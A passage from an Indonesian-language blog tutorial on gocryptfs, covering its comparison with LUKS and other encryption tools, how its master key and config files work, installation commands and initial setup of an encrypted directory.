dapat digunakan untuk mengenkripsi filesystem biasa di userspace (&lt;a href=&quot;https://www.kernel.org/doc/html/next/filesystems/fuse.html&quot; target=&quot;_blank&quot;&gt;FUSE&lt;/a&gt;) yang juga dapat di-&lt;em&gt;mount&lt;/em&gt; (&lt;em&gt;mountable&lt;/em&gt;). Artinya, tool ini sangat cocok digunakan untuk mengenkripsi file-file yang ada di dalam folder manapun, baik di hardisk/SSD, di USB stick (&lt;em&gt;flashdrive&lt;/em&gt;/&lt;em&gt;flashdisk&lt;/em&gt;), bahkan remote filesystem seperti Dropbox.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Saya sempat menulis cara menggunakan &lt;code&gt;cryptsetup&lt;/code&gt; untuk meng-enkripsi drive atau partisi:
&lt;a href=&quot;/posts/tech/luks/&quot;&gt;Enrypting Disk in Linux using LUKS&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Saya sempat menulis cara menggunakan &lt;code&gt;cryptsetup&lt;/code&gt; untuk meng-enkripsi drive atau partisi:&lt;/p&gt;&lt;a href=&quot;/posts/tech/luks/&quot;&gt;&lt;div&gt;&lt;div&gt;Enrypting Disk in Linux using LUKS&lt;/div&gt;&lt;div&gt;A tutorial on how to encrypt disk/drive/partition in linux with cryptsetup.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-02-02&lt;/span&gt;&lt;span&gt;cryptsetup&lt;/span&gt;&lt;span&gt;&lt;span&gt;#cryptsetup&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#disk&lt;/span&gt;&lt;span&gt;#encryption&lt;/span&gt;&lt;span&gt;#luks&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;294&quot; src=&quot;/_astro/ss1.C93Gqaa2_Z1t6zvt.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah website resmi &lt;code&gt;gocryptfs&lt;/code&gt; dan repository Github-nya:&lt;/p&gt;&lt;p&gt;Website: &lt;a href=&quot;https://nuetzlich.net/gocryptfs/&quot; target=&quot;_blank&quot;&gt;https://nuetzlich.net/gocryptfs/&lt;/a&gt;&lt;/p&gt;&lt;a href=&quot;https://github.com/rfjakob/gocryptfs&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;rfjakob&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;gocryptfs&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h3&gt;&lt;code&gt;gocryptfs&lt;/code&gt; vs Other Tools&lt;a href=&quot;#gocryptfs-vs-other-tools&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah perbedaan utama antara &lt;code&gt;cryptsetup&lt;/code&gt; dengan &lt;code&gt;gocryptfs&lt;/code&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Fitur&lt;/th&gt;&lt;th&gt;cryptsetup/LUKS&lt;/th&gt;&lt;th&gt;gocryptfs&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Level&lt;/td&gt;&lt;td&gt;Block device&lt;/td&gt;&lt;td&gt;File/folder&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Encrypt seluruh disk&lt;/td&gt;&lt;td&gt;Ya&lt;/td&gt;&lt;td&gt;Tidak&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Encrypt folder tertentu&lt;/td&gt;&lt;td&gt;Kurang cocok&lt;/td&gt;&lt;td&gt;Sangat cocok&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cocok untuk cloud sync&lt;/td&gt;&lt;td&gt;Tidak&lt;/td&gt;&lt;td&gt;Ya&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Metadata tersembunyi&lt;/td&gt;&lt;td&gt;Sangat baik&lt;/td&gt;&lt;td&gt;Sebagian&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bisa boot OS&lt;/td&gt;&lt;td&gt;Ya&lt;/td&gt;&lt;td&gt;Tidak&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Performa&lt;/td&gt;&lt;td&gt;Lebih cepat&lt;/td&gt;&lt;td&gt;Sedikit lebih lambat&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Teknologi&lt;/td&gt;&lt;td&gt;dm-crypt kernel&lt;/td&gt;&lt;td&gt;FUSE userspace&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Untuk perbandingan lebih lanjut, bisa merujuk ke tautan berikut:&lt;br /&gt;
&lt;a href=&quot;https://wiki.archlinux.org/title/Data-at-rest_encryption#Comparison_table&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/Data-at-rest_encryption#Comparison_table&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Selain itu, &lt;code&gt;gocryptfs&lt;/code&gt; sendiri sudah membuat perbandingan dengan beberapa &lt;em&gt;tools&lt;/em&gt; enkripsi lainnya:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
















































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Category&lt;/th&gt;&lt;th&gt;gocryptfs v1.7&lt;/th&gt;&lt;th&gt;encfs v1.9.5&lt;/th&gt;&lt;th&gt;ecryptfs v4.19.0&lt;/th&gt;&lt;th&gt;cryptomator v1.4.6&lt;/th&gt;&lt;th&gt;securefs v0.8.3&lt;/th&gt;&lt;th&gt;CryFS v0.10.0&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;First release&lt;/td&gt;&lt;td&gt;2015&lt;/td&gt;&lt;td&gt;2003&lt;/td&gt;&lt;td&gt;2006&lt;/td&gt;&lt;td&gt;2014&lt;/td&gt;&lt;td&gt;2015&lt;/td&gt;&lt;td&gt;2015&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Go&lt;/td&gt;&lt;td&gt;C++&lt;/td&gt;&lt;td&gt;C&lt;/td&gt;&lt;td&gt;Java&lt;/td&gt;&lt;td&gt;C++&lt;/td&gt;&lt;td&gt;C++&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;License&lt;/td&gt;&lt;td&gt;MIT&lt;/td&gt;&lt;td&gt;LGPLv3 / GPLv3&lt;/td&gt;&lt;td&gt;GPLv2&lt;/td&gt;&lt;td&gt;GPLv3&lt;/td&gt;&lt;td&gt;MIT&lt;/td&gt;&lt;td&gt;LGPLv3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Development hotspot&lt;/td&gt;&lt;td&gt;Austria&lt;/td&gt;&lt;td&gt;USA&lt;/td&gt;&lt;td&gt;USA (RedHat)&lt;/td&gt;&lt;td&gt;Germany&lt;/td&gt;&lt;td&gt;China&lt;/td&gt;&lt;td&gt;Germany&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Lifecycle&lt;/td&gt;&lt;td&gt;Active&lt;/td&gt;&lt;td&gt;Maintenance&lt;/td&gt;&lt;td&gt;Active&lt;/td&gt;&lt;td&gt;Active&lt;/td&gt;&lt;td&gt;Active&lt;/td&gt;&lt;td&gt;Active&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;File interface&lt;/td&gt;&lt;td&gt;FUSE&lt;/td&gt;&lt;td&gt;FUSE&lt;/td&gt;&lt;td&gt;In-kernel filesystem&lt;/td&gt;&lt;td&gt;FUSE/WebDAV&lt;/td&gt;&lt;td&gt;FUSE&lt;/td&gt;&lt;td&gt;FUSE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Platforms&lt;/td&gt;&lt;td&gt;Linux, MacOS, 3rd-party Windows port cppcryptfs, 3rd-party Android port DroidFS&lt;/td&gt;&lt;td&gt;Linux, MacOS, 3rd-party Windows port&lt;/td&gt;&lt;td&gt;Linux&lt;/td&gt;&lt;td&gt;Linux, MacOS, Windows&lt;/td&gt;&lt;td&gt;Linux, MacOS, Windows&lt;/td&gt;&lt;td&gt;Linux, MacOS, Windows (experimental)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;User interface&lt;/td&gt;&lt;td&gt;CLI, 3rd-party GUI (SiriKali)&lt;/td&gt;&lt;td&gt;CLI, 3rd-party GUI&lt;/td&gt;&lt;td&gt;Integrated in login process&lt;/td&gt;&lt;td&gt;GUI, 3rd-party CLI&lt;/td&gt;&lt;td&gt;CLI, 3rd-party GUI&lt;/td&gt;&lt;td&gt;CLI, 3rd-party GUI (SiriKali)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reverse Mode&lt;/td&gt;&lt;td&gt;Yes (since v1.1, read-only)&lt;/td&gt;&lt;td&gt;Yes (limited write support)&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Documentation available&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Password hashing&lt;/td&gt;&lt;td&gt;scrypt&lt;/td&gt;&lt;td&gt;PBKDF2&lt;/td&gt;&lt;td&gt;(none, implemented in external tool)&lt;/td&gt;&lt;td&gt;scrypt&lt;/td&gt;&lt;td&gt;PBKDF2&lt;/td&gt;&lt;td&gt;scrypt&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;How It Works&lt;a href=&quot;#how-it-works&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kira-kira, beginilah diagram kerja &lt;code&gt;gocryptfs&lt;/code&gt; dari sudut pandang penggunanya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;gocryptfs workflow diagram&quot; loading=&quot;lazy&quot; width=&quot;816&quot; height=&quot;331&quot; src=&quot;/_astro/ss1.CtbRVniJ_ZShBS4.webp&quot; /&gt;&lt;figcaption&gt;gocryptfs workflow diagram&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Bentuk nyatanya di komputer saya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;gocryptfs workflow diagram on Archlinux&quot; loading=&quot;lazy&quot; width=&quot;852&quot; height=&quot;561&quot; src=&quot;/_astro/ss2.Du-Cs-Vw_2kSH15.webp&quot; /&gt;&lt;figcaption&gt;gocryptfs workflow diagram on Archlinux&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kira-kira, beginilah cara kerjanya:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Ketika pertama kali menginisialisasi &lt;em&gt;encrypted directory&lt;/em&gt; (direktori terenkripsi), kita akan diminta memasukkan password.&lt;/li&gt;
&lt;li&gt;Setelah berhasil meng-&lt;em&gt;input&lt;/em&gt;-kan password, kita akan mendapatkan &lt;strong&gt;master key&lt;/strong&gt; (berisi 64 digit karakter angka dan huruf random) alias KEK (&lt;em&gt;Key Encryption Key&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gocryptfs&lt;/code&gt; akan men-&lt;em&gt;generate&lt;/em&gt; 2 file penting di dalam &lt;em&gt;encrypted directory&lt;/em&gt; yang barusan kita inisialisasi:&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gocryptfs.conf&lt;/code&gt;: berisi encrypted master key, salt (untuk password &lt;em&gt;hashing&lt;/em&gt;), parameter &lt;a href=&quot;https://en.wikipedia.org/wiki/Scrypt&quot; target=&quot;_blank&quot;&gt;scrypt&lt;/a&gt;, dan beberapa hal lain.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gocryptfs.diriv&lt;/code&gt;: file binary yang digunakan untuk mendekripsi nama file di satu direktori. Oleh karena itu, file ini akan ada di setiap sub-direktori di dalam &lt;em&gt;encrypted directory&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Oleh karena itu, ke-empat hal tersebut (password, &lt;strong&gt;master key&lt;/strong&gt;/KEK, &lt;code&gt;gocryptfs.conf&lt;/code&gt;, dan &lt;code&gt;gocryptfs.diriv&lt;/code&gt;) sangat penting sehingga harus dipastikan tidak hilang atau lupa.&lt;/p&gt;&lt;p&gt;Jika kita lupa password, file dan direktori masih dapat dideskripsi dengan &lt;strong&gt;master key&lt;/strong&gt;/KEK, tapi jika &lt;strong&gt;master key&lt;/strong&gt; juga hilang, maka file dan direktori tidak dapat didekripsi. File &lt;code&gt;gocryptfs.conf&lt;/code&gt; juga penting karena menyimpan informasi mengenai metadata utama filesystem. Jika itu hilang, secara praktis, sudah hampir mustahil untuk &lt;em&gt;recovery&lt;/em&gt;-nya, meskipun kita ingat password dan &lt;strong&gt;master key&lt;/strong&gt;. &lt;code&gt;gocryptfs.diriv&lt;/code&gt; diperlukan untuk mendekripsi nama file, jadi, kehilangan file tersebut berarti kita tidak dapat mendekripsi nama file yang ada di direktori tersebut.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara instalasinya di beberapa distro linux:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y gocryptfs&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy gocryptfs&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install gocryptfs&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install gocryptfs&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;gocryptfs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gocryptfs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan gocryptfs sudah ter-install, kita bisa cek versinya dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gocryptfs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Checking gocryptfs version&quot; loading=&quot;lazy&quot; width=&quot;770&quot; height=&quot;273&quot; src=&quot;/_astro/ss5.BE6OrjNI_jo5E1.webp&quot; /&gt;&lt;figcaption&gt;Checking gocryptfs version&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara menggunakannya:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Create dirs&lt;a href=&quot;#1-create-dirs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Buat 2 direktori utama:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Direktori untuk menyimpan file normal&lt;/li&gt;
&lt;li&gt;Direktori untuk menyimpan file yang terenkripsi&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;open&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Initialize dir&lt;a href=&quot;#2-initialize-dir&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Inisialisasi direktori yang sudah ditentukan untuk menyimpan file yang terenkripsi.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gocryptfs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-init&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Creating and initializing gocryptfs filesystem &amp;amp;#x26; encrypted dir&quot; loading=&quot;lazy&quot; width=&quot;876&quot; height=&quot;732&quot; src=&quot;/_astro/ss3.Bn2h6dbK_ZiYwxy.webp&quot; /&gt;&lt;figcaption&gt;Creating and initializing gocryptfs filesystem &amp;amp; encrypted dir&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Reminder!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Setelah selesai menginisialisasi direktori, kita akan diminta untuk meng-&lt;em&gt;input&lt;/em&gt;-kan password. Setelah itu, &lt;code&gt;gocryptfs&lt;/code&gt; juga akan men-&lt;em&gt;generate&lt;/em&gt; &lt;strong&gt;master key&lt;/strong&gt; (seperti “private key” dalam konsep &lt;em&gt;asymmetric encryption&lt;/em&gt;). Pastikan kita menyimpan &lt;strong&gt;master key&lt;/strong&gt; tersebut, karena &lt;strong&gt;master key&lt;/strong&gt; tersebut tidak akan dapat didapatkan lagi dan akan berguna untuk membuka file dan direktori terenkripsi kita, terutama jika kita lupa password.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Perhatikan bahwa, di dalam direktori yang sudah kita inisialisasi (&lt;code&gt;encrypted/&lt;/code&gt;), ter-generate 2 file:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gocrptfs.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;goctypfs.diriv&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah isi file &lt;code&gt;gocryptfs.conf&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;gocryptfs.conf&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;Creator&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;gocryptfs v2.6.1&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;EncryptedKey&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;9ajKdvNPrr6+mqCxzGSWgGAF3zYT5Yn4FIJ/pmvprkMt3crLrKeG3Ktsk0FwMJRLjEtjjaH694l4nGObtUWh6Q==&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;ScryptObject&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;Salt&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;TFhGHlNzjrH1xvn82VsxuAzlGh20AZDFYb20EA4dvHw=&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;N&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;65536&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;R&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;P&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;KeyLen&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;Version&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; 